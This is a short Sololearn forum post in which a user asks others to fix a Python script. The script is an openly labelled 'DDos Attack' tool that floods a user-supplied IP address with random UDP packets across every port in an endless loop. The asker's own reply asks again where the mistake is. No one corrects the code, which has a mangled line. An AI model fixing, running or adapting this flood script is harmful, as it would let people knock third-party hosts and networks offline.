Program has a mistake, can someone correct it? | Sololearn: Learn to code for FREE!
New course! Every coder should learn Generative AI!
Try a free lesson
0

Program has a mistake, can someone correct it?

import sys import os import time import socket import random #Code Time from datetime import datetime from datetime import datetime now = datetime.now() hour = now.hourminute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) os.system("clear") os.system("figlet DDos Attack") print print ("Author : HA-MRX") print ip = raw_input("IP Target : ") port = input("Port : ") ############# time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print ("Sent %s packet to %s throught port:%s")%(sent,ip,port) if port == 65534: port = 1

25th Jul 2019, 8:11 AM
Joe
Joe - avatar
1 Answer
0
I mean, where is mistake, i cant run this code in IDE. Did you find it?🙏🏻
25th Jul 2019, 10:07 AM
Joe
Joe - avatar